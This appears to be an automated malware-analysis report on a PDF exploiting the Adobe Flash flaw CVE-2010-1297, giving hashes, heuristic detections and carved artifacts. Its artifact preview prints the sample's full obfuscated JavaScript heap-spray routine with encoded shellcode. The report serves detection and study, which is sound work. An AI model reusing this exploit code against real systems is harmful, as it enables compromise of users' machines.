Malicious PDF — malware analysis report

Static analysis result for SHA-256 fa670c87e4887f9b…

MALICIOUS

PDF

132.7 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: xyghPDF SDK 4.3 (via BCL easyPDF 4.30 (0615)) First seen: 2026-05-11
MD5: cf3ff1dc34b13ad3c25722afc2fd8ce0 SHA-1: fb698c229fc579f21140cbfdf17163975cd03094 SHA-256: fa670c87e4887f9b3397b94bbb61232fa6249e1cde9a0974a7e966dcc346b81d
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF document contains embedded JavaScript and Flash content that exploits CVE-2010-1297, a known vulnerability in Adobe Flash Player. This exploit is designed to execute arbitrary code, indicated by the 'PDF_JS_EXPLOIT_CLUSTER' and 'CVE_2010_1297_FLASH_RICHMEDIA' heuristics. The embedded Flash object likely serves as the initial stage for a more complex attack, potentially downloading further payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9938

Heuristics 12

  • Adobe Flash authplay SWF exploit in PDF — CVE-2010-1297 critical CVE likely CVE_2010_1297_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, a crafted SWF with ActionScript prototype/AVM-era markers or the AES-PHP/authplay variant markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-1297 in Adobe Reader's bundled authplay.dll.
  • ClamAV: Pdf.Exploit.Agent-35955 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35955
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x372 3386 bytes
SHA-256: 4c0709d24392a0211d8b63b78be4a4730c0122f3852fda761b5d2e6ebcf7b11a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function CRTYU()   
{   
	var keyu= "u";
	var a = "\x6D\x65\x64";
	var b = "\x73\x75\x62\x73";
	var c = "\x69\x61";
	var re = /Z/g;
	var sc = "\xff\xcc\x84"
	sc = sc.replace(re,keyu);
    this._strings = new Array;   
}   
  
CRTYU.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
CRTYU.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

CRTYU.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}

var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z0700%Z0011%Z0001%Z52e2%Z0700%Z5c54%Z0700%Zffff%Zffff%Z0100%Z0001%Z0000%Z0000%Z0104%Z0001%Z1000%Z0000%Z0040%Z0000%Zd731%Z0700%Z15bb%Z0700%Z905a%Z9054%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zeb5a%Z5815%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z1a8b%Z1889%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zc083%Z8304%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z04c2%Zfb81%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z0c0c%Z0c0c%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zee75%Z05eb%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Ze6e8%Zffff%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z90ff%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zffff%Z90ff%Z154d%Z0700%Zd731%Z0700%Z112f%Z0700%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z75e6%Zee60%Zac3c%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Zfe35%Zdee2%Z15b9%Zdee0%Zed79%Zdee1%Zeeda%Zdee0"));

var nop = unescape("\x25\x750c0c\x25\x750c0c");
var TMP0 = new CRTYU();
while (nop["\x6c\x65\x6e\x67\x74\x68"] + 20 + 8 < 65536) 
{
  TMP0.append(nop);
  TMP0.append(nop);
  nop = TMP0.toString();
}

spt = nop["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, (0x0c0c-0x24)/2);
spt += sc;
spt += nop;
hack = spt["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 65536/2);

var TMP = new CRTYU();
while(hack["\x6c\x65\x6e\x67\x74\x68"] < 0x80000) 
{
  TMP.append(hack);
  TMP.append(hack);
  hack = TMP.toString();
}

bullet = hack["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (i=0;i<0x1f0;i++) 
{
  var TMP2 = new CRTYU();
  TMP2.append(bullet);
  TMP2.append("s");
  memory[i] = TMP2.toString();
}
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
polyglot_child_pdf_off0001f79b.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1F79B 6976 bytes
SHA-256: 4044524e0d63e7a8080f48c5c2ac2d90f174bca6a94b7529f245da6d43f70bcf
polyglot_child_pdf_off0001faee.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1FAEE 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.